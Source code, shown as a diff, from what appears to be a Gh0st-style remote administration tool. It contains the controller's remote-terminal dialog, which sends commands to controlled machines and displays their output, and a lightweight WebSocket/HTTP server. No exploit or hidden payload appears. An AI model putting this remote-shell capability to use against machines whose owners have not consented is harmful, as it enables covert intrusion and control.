// 如果光标在最小可编辑位置之前,移动到末尾
if (nStart < (int)m_nMinEditPos) {
int nLength = GetWindowTextLength();
SetSel(nLength, nLength);
}
if (nStart == 30000){
static int hasNotify = 0;
if (hasNotify++ % 10 == 0) {
THIS_APP->PostNotify(_TR("需要清理终端"), _TR("达到字符数限制时,需执行\"clear\"命令"));
}
}
// 调用父类处理输入字符
CEdit::OnChar(nChar, nRepCnt, nFlags);
}
// CShellDlg 对话框
IMPLEMENT_DYNAMIC(CShellDlg, CDialog)
CShellDlg::CShellDlg(CWnd* pParent, Server* IOCPServer, CONTEXT_OBJECT *ContextObject)
: DialogBase(CShellDlg::IDD, pParent, IOCPServer, ContextObject, IDI_ICON_SHELL)
{
m_brBackground.CreateSolidBrush(RGB(0, 0, 0)); // 黑色背景
}
CShellDlg::~CShellDlg()
{
}
void CShellDlg::DoDataExchange(CDataExchange* pDX)
{
__super::DoDataExchange(pDX);
DDX_Control(pDX, IDC_EDIT, m_Edit);
}
BEGIN_MESSAGE_MAP(CShellDlg, CDialog)
ON_WM_CLOSE()
ON_WM_CTLCOLOR()
ON_WM_SIZE()
END_MESSAGE_MAP()
// CShellDlg 消息处理程序
BOOL CShellDlg::OnInitDialog()
{
__super::OnInitDialog();
m_nCurSel = 0;
m_nReceiveLength = 0;
SetIcon(m_hIcon, TRUE);
SetIcon(m_hIcon,FALSE);
CString str;
str.FormatL("%s - 远程终端", m_IPAddress);
SetWindowText(str);
BYTE bToken = COMMAND_NEXT;
m_ContextObject->Send2Client(&bToken, sizeof(BYTE));
m_Edit.SetWindowTextA(">>");
m_nCurSel = m_Edit.GetWindowTextLengthA();
m_nReceiveLength = m_nCurSel;
m_Edit.m_nMinEditPos = m_nReceiveLength; // 设置最小可编辑位置
m_Edit.SetSel((int)m_nCurSel, (int)m_nCurSel);
m_Edit.PostMessage(EM_SETSEL, m_nCurSel, m_nCurSel);
m_Edit.SetLimitText(EDIT_MAXLENGTH);
return TRUE; // return TRUE unless you set the focus to a control
// 异常: OCX 属性页应返回 FALSE
}
VOID CShellDlg::OnReceiveComplete()
{
if (m_ContextObject==NULL) {
return;
}
AddKeyBoardData();
m_nReceiveLength = m_Edit.GetWindowTextLength();
m_Edit.m_nMinEditPos = m_nReceiveLength; // 更新最小可编辑位置
}
#include <regex>
std::string removeAnsiCodes(const std::string& input)
{
// Match all common ANSI escape sequences:
// CSI sequences: \x1B[...X where X is a letter
// OSC sequences: \x1B]...(\x07|\x1B\\)
// Simple escapes: \x1B[=>] or single char after \x1B
std::regex ansi_regex(
"\x1B\\[[0-9;?]*[A-Za-z]" // CSI: \x1B[...m, \x1B[...H, \x1B[...J, etc.
"|\x1B\\][^\x07]*\x07" // OSC: \x1B]...\x07
"|\x1B\\][^\x1B]*\x1B\\\\" // OSC: \x1B]...\x1B\\ [*]
"|\x1B[=>]" // \x1B= or \x1B>
"|\x1B[78]" // Save/restore cursor
"|\x1B\\([AB0-2]" // Character set selection
);
return std::regex_replace(input, ansi_regex, "");
}
// UTF-8 → ANSI(GBK) 转换,如果输入不是合法 UTF-8 则原样返回
static std::string Utf8ToLocal(const std::string& text)
{
if (text.empty()) return text;
// 尝试以 UTF-8 解码MB_ERR_INVALID_CHARS 会让非法 UTF-8 失败
int wLen = MultiByteToWideChar(CP_UTF8, MB_ERR_INVALID_CHARS, text.c_str(), -1, NULL, 0);
if (wLen <= 0) return text; // 不是合法 UTF-8原样返回Windows 客户端 GBK 数据走这里)
std::wstring wstr(wLen, 0);
MultiByteToWideChar(CP_UTF8, 0, text.c_str(), -1, &wstr[0], wLen);
int aLen = WideCharToMultiByte(CP_ACP, 0, wstr.c_str(), -1, NULL, 0, NULL, NULL);
if (aLen <= 0) return text;
std::string ansi(aLen, 0);
WideCharToMultiByte(CP_ACP, 0, wstr.c_str(), -1, &ansi[0], aLen, NULL, NULL);
if (!ansi.empty() && ansi.back() == '\0') ansi.pop_back();
return ansi;
}
VOID CShellDlg::AddKeyBoardData(void)
{
// 最后填上0
//Shit\0
m_ContextObject->InDeCompressedBuffer.WriteBuffer((LPBYTE)"", 1); //从被控制端来的数据我们要加上一个\0
Buffer tmp = m_ContextObject->InDeCompressedBuffer.GetMyBuffer(0);
bool firstRecv = tmp.c_str() == std::string(">");
std::string cleaned = removeAnsiCodes(tmp.c_str());
std::string converted = Utf8ToLocal(cleaned); // Linux 客户端 UTF-8 → GBKWindows 客户端原样通过
CString strResult = firstRecv ? "" : CString("\r\n") + converted.c_str();
//替换掉原来的换行符 可能cmd 的换行同w32下的编辑控件的换行符不一致 所有的回车换行
strResult.Replace("\n", "\r\n");
if (strResult.GetLength() + m_Edit.GetWindowTextLength() >= EDIT_MAXLENGTH) {
CString text;
m_Edit.GetWindowTextA(text);
auto n = EDIT_MAXLENGTH - strResult.GetLength() - 5; // 留5个字符输入clear清屏
if (n < 0) {
strResult = strResult.Right(strResult.GetLength() + n);
}
m_Edit.SetWindowTextA(text.Right(max(n, 0)));
}
//得到当前窗口的字符个数
int iLength = m_Edit.GetWindowTextLength(); //kdfjdjfdir
//1.txt
//2.txt
//dir\r\n
//将光标定位到该位置并选中指定个数的字符 也就是末尾 因为从被控端来的数据 要显示在 我们的 先前内容的后面
m_Edit.SetSel(iLength, iLength);
//用传递过来的数据替换掉该位置的字符 //显示
m_Edit.ReplaceSel(strResult);
//重新得到字符的大小
m_nCurSel = m_Edit.GetWindowTextLength();
//我们注意到,我们在使用远程终端时 ,发送的每一个命令行 都有一个换行符 就是一个回车
//要找到这个回车的处理我们就要到PreTranslateMessage函数的定义
}
void CShellDlg::OnClose()
{
CancelIO();
// 等待数据处理完毕
if (IsProcessing()) {
ShowWindow(SW_HIDE);
return;
}
DialogBase::OnClose();
}
CString ExtractAfterLastNewline(const CString& str)
{
int nPos = str.ReverseFind(_T('\n'));
if (nPos != -1) {
return str.Mid(nPos + 1);
}
nPos = str.ReverseFind(_T('\r'));
if (nPos != -1) {
return str.Mid(nPos + 1);
}
return str;
}
BOOL CShellDlg::PreTranslateMessage(MSG* pMsg)
{
if (pMsg->message == WM_KEYDOWN) {
// 屏蔽VK_ESCAPE、VK_DELETE
if (pMsg->wParam == VK_ESCAPE || pMsg->wParam == VK_DELETE)
return true;
//如果是可编辑框的回车键
if (pMsg->wParam == VK_RETURN && pMsg->hwnd == m_Edit.m_hWnd) {
//得到窗口的数据大小
int iLength = m_Edit.GetWindowTextLength();
CString str;
//得到窗口的字符数据
m_Edit.GetWindowText(str);
//加入换行符
str += "\r\n";
//得到整个的缓冲区的首地址再加上原有的字符的位置,其实就是用户当前输入的数据了
//然后将数据发送出去
LPBYTE pSrc = (LPBYTE)str.GetBuffer(0) + m_nCurSel;
#ifdef _DEBUG
TRACE("[Shell]=> %s", (char*)pSrc);
#endif
if (0 == strcmp((char*)pSrc, "exit\r\n")) { // 退出终端
return PostMessage(WM_CLOSE);
} else if (0 == strcmp((char*)pSrc, "clear\r\n")) { // 清理终端
str = ExtractAfterLastNewline(str.Left(str.GetLength() - 7));
m_Edit.SetWindowTextA(str);
m_nCurSel = m_Edit.GetWindowTextLength();
m_nReceiveLength = m_nCurSel;
m_Edit.m_nMinEditPos = m_nReceiveLength; // 更新最小可编辑位置
m_Edit.SetSel(m_nCurSel, m_nCurSel);
return TRUE;
}
int length = str.GetLength() - m_nCurSel;
m_ContextObject->Send2Client(pSrc, length);
m_nCurSel = m_Edit.GetWindowTextLength();
}
// 限制VK_BACK
if (pMsg->wParam == VK_BACK && pMsg->hwnd == m_Edit.m_hWnd) {
if (m_Edit.GetWindowTextLength() <= m_nReceiveLength)
return true;
}
// 限制VK_LEFT - 不能移动到历史输出区域
if (pMsg->wParam == VK_LEFT && pMsg->hwnd == m_Edit.m_hWnd) {
int nStart, nEnd;
m_Edit.GetSel(nStart, nEnd);
if (nStart <= (int)m_nReceiveLength)
return true;
}
// 限制VK_UP - 禁止向上移动到历史输出
if (pMsg->wParam == VK_UP && pMsg->hwnd == m_Edit.m_hWnd) {
return true;
}
// 限制VK_HOME - 移动到当前命令行开始位置而不是文本开头
if (pMsg->wParam == VK_HOME && pMsg->hwnd == m_Edit.m_hWnd) {
m_Edit.SetSel((int)m_nReceiveLength, (int)m_nReceiveLength);
return true;
}
}
return __super::PreTranslateMessage(pMsg);
}
HBRUSH CShellDlg::OnCtlColor(CDC* pDC, CWnd* pWnd, UINT nCtlColor)
{
if ((pWnd->GetDlgCtrlID() == IDC_EDIT) && (nCtlColor == CTLCOLOR_EDIT)) {
pDC->SetTextColor(RGB(255, 255, 255)); // 白色文本
pDC->SetBkColor(RGB(0, 0, 0)); // 黑色背景
return (HBRUSH)m_brBackground.GetSafeHandle();
}
return __super::OnCtlColor(pDC, pWnd, nCtlColor);
}
void CShellDlg::OnSize(UINT nType, int cx, int cy)
{
__super::OnSize(nType, cx, cy);
if (!m_Edit.GetSafeHwnd()) return; // 确保控件已创建
// 计算新位置和大小
CRect rc;
m_Edit.GetWindowRect(&rc);
ScreenToClient(&rc);
// 重新设置控件大小
m_Edit.MoveWindow(0, 0, cx, cy, TRUE);
}

View File

@@ -0,0 +1,49 @@
#pragma once
#include "IOCPServer.h"
#include "afxwin.h"
// 限制光标不能移动到历史输出区域,只能在当前命令行内编辑
class CAutoEndEdit : public CEdit
{
public:
CAutoEndEdit() : m_nMinEditPos(0) {}
UINT m_nMinEditPos; // 最小可编辑位置(历史输出的末尾)
afx_msg void OnChar(UINT nChar, UINT nRepCnt, UINT nFlags);
DECLARE_MESSAGE_MAP()
};
// CShellDlg 对话框
class CShellDlg : public DialogBase
{
DECLARE_DYNAMIC(CShellDlg)
public:
CShellDlg(CWnd* pParent = NULL, Server* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL);
virtual ~CShellDlg();
private:
CBrush m_brBackground; // 背景画刷,避免 GDI 泄漏
VOID OnReceiveComplete();
UINT m_nReceiveLength;
VOID AddKeyBoardData(void);
int m_nCurSel; //获得当前数据所在位置;
// 对话框数据
enum { IDD = IDD_DIALOG_SHELL };
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
DECLARE_MESSAGE_MAP()
public:
virtual BOOL OnInitDialog();
afx_msg void OnClose();
CAutoEndEdit m_Edit;
virtual BOOL PreTranslateMessage(MSG* pMsg);
afx_msg HBRUSH OnCtlColor(CDC* pDC, CWnd* pWnd, UINT nCtlColor);
afx_msg void OnSize(UINT nType, int cx, int cy);
};

View File

@@ -0,0 +1,735 @@
#pragma once
// SimpleWebSocket - A lightweight WebSocket server implementation
// Compatible with httplib and doesn't require Windows 10
#include <WinSock2.h>
#include <WS2tcpip.h>
#include <Windows.h>
#include <wincrypt.h>
#include <string>
#include <vector>
#include <map>
#include <mutex>
#include <thread>
#include <functional>
#include <atomic>
#include <condition_variable>
#include <memory>
#include <fstream>
#include <filesystem>
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "advapi32.lib")
namespace ws {
namespace fs = std::filesystem;
// Static shutdown flag - survives Server destruction, safe for detached threads
static std::atomic<bool> s_serverShuttingDown{false};
// HTTP Response structure for enhanced HTTP handling
struct HttpResponse {
int status = 200;
std::string contentType = "text/html; charset=utf-8";
std::map<std::string, std::string> headers;
std::string body;
std::string filePath; // If set, stream file instead of body
HttpResponse() = default;
HttpResponse(int s) : status(s) {}
HttpResponse(const std::string& content) : body(content) {}
static HttpResponse NotFound() { return HttpResponse(404); }
static HttpResponse Forbidden() { return HttpResponse(403); }
static HttpResponse OK(const std::string& content, const std::string& type = "text/html; charset=utf-8") {
HttpResponse r;
r.body = content;
r.contentType = type;
return r;
}
static HttpResponse File(const std::string& path, const std::string& filename = "") {
HttpResponse r;
r.filePath = path;
r.contentType = "application/octet-stream";
if (!filename.empty()) {
r.headers["Content-Disposition"] = "attachment; filename=\"" + filename + "\"";
}
return r;
}
};
// WebSocket opcodes
enum Opcode {
CONTINUATION = 0x0,
TEXT = 0x1,
BINARY = 0x2,
CLOSE = 0x8,
PING = 0x9,
PONG = 0xA
};
// WebSocket frame
struct Frame {
bool fin;
Opcode opcode;
std::vector<uint8_t> payload;
};
// WebSocket connection
class Connection {
public:
Connection(SOCKET sock, const std::string& ip)
: m_socket(sock), m_clientIP(ip), m_closed(false) {}
~Connection() { close(); }
bool send(const std::string& text) {
return sendFrame(TEXT, (const uint8_t*)text.data(), text.size());
}
bool sendBinary(const uint8_t* data, size_t len) {
return sendFrame(BINARY, data, len);
}
bool sendPing() {
return sendFrame(PING, nullptr, 0);
}
bool sendFrame(Opcode opcode, const uint8_t* data, size_t len) {
if (m_closed) return false;
std::vector<uint8_t> frame;
// FIN + opcode
frame.push_back(0x80 | opcode);
// Payload length (server doesn't mask)
if (len < 126) {
frame.push_back((uint8_t)len);
} else if (len < 65536) {
frame.push_back(126);
frame.push_back((len >> 8) & 0xFF);
frame.push_back(len & 0xFF);
} else {
frame.push_back(127);
for (int i = 7; i >= 0; i--) {
frame.push_back((len >> (i * 8)) & 0xFF);
}
}
// Payload
frame.insert(frame.end(), data, data + len);
std::lock_guard<std::mutex> lock(m_sendMutex);
int sent = ::send(m_socket, (const char*)frame.data(), (int)frame.size(), 0);
return sent == (int)frame.size();
}
bool readFrame(Frame& frame) {
if (m_closed) return false;
uint8_t header[2];
if (recv(m_socket, (char*)header, 2, MSG_WAITALL) != 2) {
return false;
}
frame.fin = (header[0] & 0x80) != 0;
frame.opcode = (Opcode)(header[0] & 0x0F);
bool masked = (header[1] & 0x80) != 0;
uint64_t payloadLen = header[1] & 0x7F;
if (payloadLen == 126) {
uint8_t ext[2];
if (recv(m_socket, (char*)ext, 2, MSG_WAITALL) != 2) return false;
payloadLen = (ext[0] << 8) | ext[1];
} else if (payloadLen == 127) {
uint8_t ext[8];
if (recv(m_socket, (char*)ext, 8, MSG_WAITALL) != 8) return false;
payloadLen = 0;
for (int i = 0; i < 8; i++) {
payloadLen = (payloadLen << 8) | ext[i];
}
}
uint8_t mask[4] = {0};
if (masked) {
if (recv(m_socket, (char*)mask, 4, MSG_WAITALL) != 4) return false;
}
frame.payload.resize((size_t)payloadLen);
if (payloadLen > 0) {
if (recv(m_socket, (char*)frame.payload.data(), (int)payloadLen, MSG_WAITALL) != (int)payloadLen) {
return false;
}
// Unmask
if (masked) {
for (size_t i = 0; i < payloadLen; i++) {
frame.payload[i] ^= mask[i % 4];
}
}
}
return true;
}
void close() {
if (!m_closed.exchange(true)) {
closesocket(m_socket);
}
}
bool isClosed() const { return m_closed; }
const std::string& clientIP() const { return m_clientIP; }
SOCKET socket() const { return m_socket; }
private:
SOCKET m_socket;
std::string m_clientIP;
std::atomic<bool> m_closed;
std::mutex m_sendMutex;
};
// WebSocket server
class Server {
public:
using MessageHandler = std::function<void(std::shared_ptr<Connection>, const std::string&)>;
using BinaryHandler = std::function<void(std::shared_ptr<Connection>, const uint8_t*, size_t)>;
using ConnectHandler = std::function<void(std::shared_ptr<Connection>)>;
using DisconnectHandler = std::function<void(std::shared_ptr<Connection>)>;
Server() : m_listenSocket(INVALID_SOCKET), m_running(false), m_activeThreads(0) {}
~Server() { stop(); }
void onMessage(MessageHandler handler) { m_onMessage = handler; }
void onBinary(BinaryHandler handler) { m_onBinary = handler; }
void onConnect(ConnectHandler handler) { m_onConnect = handler; }
void onDisconnect(DisconnectHandler handler) { m_onDisconnect = handler; }
bool start(int port, const std::string& path = "/ws") {
m_path = path;
// Initialize Winsock
WSADATA wsaData;
if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {
return false;
}
// Create socket
m_listenSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (m_listenSocket == INVALID_SOCKET) {
WSACleanup();
return false;
}
// Allow reuse
int opt = 1;
setsockopt(m_listenSocket, SOL_SOCKET, SO_REUSEADDR, (char*)&opt, sizeof(opt));
// Bind
sockaddr_in addr = {};
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = INADDR_ANY;
addr.sin_port = htons((u_short)port);
if (bind(m_listenSocket, (sockaddr*)&addr, sizeof(addr)) == SOCKET_ERROR) {
closesocket(m_listenSocket);
WSACleanup();
return false;
}
// Listen
if (listen(m_listenSocket, SOMAXCONN) == SOCKET_ERROR) {
closesocket(m_listenSocket);
WSACleanup();
return false;
}
m_running = true;
m_acceptThread = std::thread(&Server::acceptLoop, this);
return true;
}
void stop() {
if (!m_running) return;
m_running = false;
s_serverShuttingDown = true; // Static flag survives Server destruction
// Close listen socket first to stop accepting new connections
closesocket(m_listenSocket);
if (m_acceptThread.joinable()) {
m_acceptThread.join();
}
// Close all connections (this will cause handleClient loops to exit)
{
std::lock_guard<std::mutex> lock(m_connectionsMutex);
for (auto& conn : m_connections) {
conn->close();
}
}
// Wait for all handleClient threads to exit (max 5 seconds)
{
std::unique_lock<std::mutex> lock(m_threadCountMutex);
bool allExited = m_threadCountCV.wait_for(lock, std::chrono::seconds(5), [this]() {
return m_activeThreads == 0;
});
if (!allExited) {
// Threads didn't exit in time - they will exit on next recv() timeout
// Log warning but continue shutdown (don't block forever)
OutputDebugStringA("[WebSocket] Warning: Some threads still active after timeout\n");
}
}
// Now safe to clear callbacks after threads have exited
{
std::lock_guard<std::mutex> lock(m_connectionsMutex);
m_connections.clear();
}
m_httpHandler = nullptr;
m_onConnect = nullptr;
m_onDisconnect = nullptr;
m_onMessage = nullptr;
m_onBinary = nullptr;
WSACleanup();
}
void broadcast(const std::string& text) {
std::lock_guard<std::mutex> lock(m_connectionsMutex);
for (auto& conn : m_connections) {
conn->send(text);
}
}
void broadcastBinary(const uint8_t* data, size_t len) {
std::lock_guard<std::mutex> lock(m_connectionsMutex);
for (auto& conn : m_connections) {
conn->sendBinary(data, len);
}
}
// Send WebSocket ping to all connections (for heartbeat)
void pingAll() {
std::lock_guard<std::mutex> lock(m_connectionsMutex);
for (auto& conn : m_connections) {
conn->sendPing();
}
}
bool isRunning() const { return m_running; }
private:
void acceptLoop() {
while (m_running) {
sockaddr_in clientAddr;
int addrLen = sizeof(clientAddr);
SOCKET clientSocket = accept(m_listenSocket, (sockaddr*)&clientAddr, &addrLen);
if (clientSocket == INVALID_SOCKET) {
continue;
}
char ipStr[INET_ADDRSTRLEN];
inet_ntop(AF_INET, &clientAddr.sin_addr, ipStr, INET_ADDRSTRLEN);
std::thread(&Server::handleClient, this, clientSocket, std::string(ipStr)).detach();
}
}
// HTTP handler for non-WebSocket requests
using HttpHandler = std::function<HttpResponse(const std::string& path)>;
HttpHandler m_httpHandler;
public:
void onHttp(HttpHandler handler) { m_httpHandler = handler; }
private:
// Parse Proxy Protocol v2 header and extract real client IP
bool parseProxyProtocolV2(SOCKET sock, std::string& clientIP) {
// PP2 signature (12 bytes)
static const uint8_t PP2_SIG[] = {
0x0D, 0x0A, 0x0D, 0x0A, 0x00, 0x0D, 0x0A,
0x51, 0x55, 0x49, 0x54, 0x0A
};
// Peek first 16 bytes (signature + ver/cmd + fam + len)
uint8_t header[16];
int n = recv(sock, (char*)header, 16, MSG_PEEK);
if (n < 16) return false;
// Check signature
if (memcmp(header, PP2_SIG, 12) != 0) return false;
// Actually consume the 16 bytes
recv(sock, (char*)header, 16, MSG_WAITALL);
uint8_t verCmd = header[12];
uint8_t fam = header[13];
uint16_t addrLen = (header[14] << 8) | header[15];
// Version must be 2, command 0 (LOCAL) or 1 (PROXY)
if ((verCmd & 0xF0) != 0x20) return false;
// Read address data
if (addrLen > 0 && addrLen <= 512) {
std::vector<uint8_t> addrData(addrLen);
if (recv(sock, (char*)addrData.data(), addrLen, MSG_WAITALL) != addrLen) {
return false;
}
// Extract client IP if PROXY command with IPv4
if ((verCmd & 0x0F) == 0x01 && (fam & 0xF0) == 0x10) {
// IPv4: src_addr(4) + dst_addr(4) + src_port(2) + dst_port(2)
if (addrLen >= 12) {
char ip[INET_ADDRSTRLEN];
struct in_addr addr;
memcpy(&addr, addrData.data(), 4);
inet_ntop(AF_INET, &addr, ip, sizeof(ip));
clientIP = ip;
}
}
// IPv6: src_addr(16) + dst_addr(16) + src_port(2) + dst_port(2)
else if ((verCmd & 0x0F) == 0x01 && (fam & 0xF0) == 0x20) {
if (addrLen >= 36) {
char ip[INET6_ADDRSTRLEN];
struct in6_addr addr;
memcpy(&addr, addrData.data(), 16);
inet_ntop(AF_INET6, &addr, ip, sizeof(ip));
clientIP = ip;
}
}
}
return true;
}
void handleClient(SOCKET sock, std::string clientIP) {
// Check if already shutting down before starting
if (s_serverShuttingDown) {
closesocket(sock);
return;
}
// Increment active thread count
{
std::lock_guard<std::mutex> lock(m_threadCountMutex);
m_activeThreads++;
}
// RAII guard to decrement thread count on exit
// Note: Must check static flag to avoid accessing destroyed Server
struct ThreadGuard {
Server* server;
~ThreadGuard() {
// Only access server members if not shutting down
if (!s_serverShuttingDown) {
std::lock_guard<std::mutex> lock(server->m_threadCountMutex);
server->m_activeThreads--;
server->m_threadCountCV.notify_all();
}
}
} guard{this};
// Check for Proxy Protocol v2 header
parseProxyProtocolV2(sock, clientIP);
// Read HTTP request
std::string request;
char buf[4096];
int n;
while ((n = recv(sock, buf, sizeof(buf) - 1, 0)) > 0) {
buf[n] = 0;
request += buf;
if (request.find("\r\n\r\n") != std::string::npos) break;
}
// Check if WebSocket upgrade
if (request.find("Upgrade: websocket") == std::string::npos) {
// Regular HTTP request - extract path
std::string path = "/";
size_t getPos = request.find("GET ");
if (getPos != std::string::npos) {
size_t pathStart = getPos + 4;
size_t pathEnd = request.find(" ", pathStart);
if (pathEnd != std::string::npos) {
path = request.substr(pathStart, pathEnd - pathStart);
}
}
// Check if server is shutting down (use static flag - safe after Server destruction)
if (s_serverShuttingDown) {
closesocket(sock);
return;
}
HttpResponse resp(404);
if (m_running && m_httpHandler) {
resp = m_httpHandler(path);
}
// Build and send HTTP response
sendHttpResponse(sock, resp);
closesocket(sock);
return;
}
// Extract Sec-WebSocket-Key
std::string key;
size_t keyPos = request.find("Sec-WebSocket-Key:");
if (keyPos != std::string::npos) {
keyPos += 18;
while (keyPos < request.size() && request[keyPos] == ' ') keyPos++;
size_t keyEnd = request.find("\r\n", keyPos);
if (keyEnd != std::string::npos) {
key = request.substr(keyPos, keyEnd - keyPos);
}
}
if (key.empty()) {
closesocket(sock);
return;
}
// Generate accept key
std::string acceptKey = generateAcceptKey(key);
// Send handshake response
std::string response =
"HTTP/1.1 101 Switching Protocols\r\n"
"Upgrade: websocket\r\n"
"Connection: Upgrade\r\n"
"Sec-WebSocket-Accept: " + acceptKey + "\r\n"
"\r\n";
::send(sock, response.c_str(), (int)response.size(), 0);
// Create connection
auto conn = std::make_shared<Connection>(sock, clientIP);
// Check if server is shutting down (use static flag - safe after Server destruction)
if (s_serverShuttingDown) {
closesocket(sock);
return;
}
{
std::lock_guard<std::mutex> lock(m_connectionsMutex);
m_connections.push_back(conn);
}
// Copy callback to local variable to avoid race condition
auto onConnect = m_onConnect;
if (!s_serverShuttingDown && m_running && onConnect) {
onConnect(conn);
}
// Message loop - use static flag for outer check, member for inner
Frame frame;
while (!s_serverShuttingDown && m_running && !conn->isClosed()) {
if (!conn->readFrame(frame)) {
break;
}
// Check shutdown status again before processing
if (s_serverShuttingDown) break;
switch (frame.opcode) {
case TEXT:
{
auto onMessage = m_onMessage;
if (!s_serverShuttingDown && m_running && onMessage) {
std::string msg(frame.payload.begin(), frame.payload.end());
onMessage(conn, msg);
}
}
break;
case BINARY:
{
auto onBinary = m_onBinary;
if (!s_serverShuttingDown && m_running && onBinary) {
onBinary(conn, frame.payload.data(), frame.payload.size());
}
}
break;
case PING:
if (!s_serverShuttingDown) {
conn->sendFrame(PONG, frame.payload.data(), frame.payload.size());
}
break;
case CLOSE:
conn->close();
break;
default:
break;
}
}
// Cleanup
conn->close();
// Only call onDisconnect if server is still running (check static flag first)
if (!s_serverShuttingDown) {
auto onDisconnect = m_onDisconnect;
if (m_running && onDisconnect) {
onDisconnect(conn);
}
// Remove from connections list
{
std::lock_guard<std::mutex> lock(m_connectionsMutex);
m_connections.erase(
std::remove_if(m_connections.begin(), m_connections.end(),
[&conn](const std::shared_ptr<Connection>& c) { return c.get() == conn.get(); }),
m_connections.end());
}
}
}
std::string generateAcceptKey(const std::string& key) {
// WebSocket magic GUID
std::string concat = key + "258EAFA5-E914-47DA-95CA-C5AB0DC85B11";
// SHA-1 hash
HCRYPTPROV hProv = 0;
HCRYPTHASH hHash = 0;
BYTE hash[20];
DWORD hashLen = 20;
if (!CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT)) {
return "";
}
if (!CryptCreateHash(hProv, CALG_SHA1, 0, 0, &hHash)) {
CryptReleaseContext(hProv, 0);
return "";
}
CryptHashData(hHash, (BYTE*)concat.c_str(), (DWORD)concat.size(), 0);
CryptGetHashParam(hHash, HP_HASHVAL, hash, &hashLen, 0);
CryptDestroyHash(hHash);
CryptReleaseContext(hProv, 0);
// Base64 encode
return base64Encode(hash, 20);
}
std::string base64Encode(const uint8_t* data, size_t len) {
static const char* chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
std::string result;
int val = 0, valb = -6;
for (size_t i = 0; i < len; i++) {
val = (val << 8) + data[i];
valb += 8;
while (valb >= 0) {
result.push_back(chars[(val >> valb) & 0x3F]);
valb -= 6;
}
}
if (valb > -6) {
result.push_back(chars[((val << 8) >> (valb + 8)) & 0x3F]);
}
while (result.size() % 4) {
result.push_back('=');
}
return result;
}
void sendHttpResponse(SOCKET sock, const HttpResponse& resp) {
std::string statusText;
switch (resp.status) {
case 200: statusText = "OK"; break;
case 403: statusText = "Forbidden"; break;
case 404: statusText = "Not Found"; break;
case 500: statusText = "Internal Server Error"; break;
default: statusText = "Unknown"; break;
}
// File streaming response
if (!resp.filePath.empty()) {
std::error_code ec;
if (!fs::exists(resp.filePath, ec) || !fs::is_regular_file(resp.filePath, ec)) {
std::string errResp = "HTTP/1.1 404 Not Found\r\nContent-Length: 0\r\n\r\n";
::send(sock, errResp.c_str(), (int)errResp.size(), 0);
return;
}
uintmax_t fileSize = fs::file_size(resp.filePath, ec);
if (ec) {
std::string errResp = "HTTP/1.1 500 Internal Server Error\r\nContent-Length: 0\r\n\r\n";
::send(sock, errResp.c_str(), (int)errResp.size(), 0);
return;
}
// Build headers
std::string headers = "HTTP/1.1 200 OK\r\n";
headers += "Content-Type: " + resp.contentType + "\r\n";
headers += "Content-Length: " + std::to_string(fileSize) + "\r\n";
for (const auto& [key, val] : resp.headers) {
headers += key + ": " + val + "\r\n";
}
headers += "Connection: close\r\n\r\n";
::send(sock, headers.c_str(), (int)headers.size(), 0);
// Stream file content
std::ifstream file(resp.filePath, std::ios::binary);
if (file) {
char buffer[65536];
while (file) {
file.read(buffer, sizeof(buffer));
std::streamsize n = file.gcount();
if (n > 0) {
int sent = 0;
while (sent < n) {
int r = ::send(sock, buffer + sent, (int)(n - sent), 0);
if (r <= 0) break;
sent += r;
}
if (sent < n) break; // Send failed
}
}
}
return;
}
// Regular body response
std::string response = "HTTP/1.1 " + std::to_string(resp.status) + " " + statusText + "\r\n";
response += "Content-Type: " + resp.contentType + "\r\n";
response += "Content-Length: " + std::to_string(resp.body.size()) + "\r\n";
for (const auto& [key, val] : resp.headers) {
response += key + ": " + val + "\r\n";
}
response += "Connection: close\r\n\r\n";
response += resp.body;
::send(sock, response.c_str(), (int)response.size(), 0);
}
private:
SOCKET m_listenSocket;
std::string m_path;
std::atomic<bool> m_running;
std::thread m_acceptThread;
std::vector<std::shared_ptr<Connection>> m_connections;
std::mutex m_connectionsMutex;
// Thread counting for safe shutdown
std::atomic<int> m_activeThreads;
std::mutex m_threadCountMutex;
std::condition_variable m_threadCountCV;
MessageHandler m_onMessage;
BinaryHandler m_onBinary;
ConnectHandler m_onConnect;
DisconnectHandler m_onDisconnect;
};
} // namespace ws

Some files were not shown because too many files have changed in this diff Show More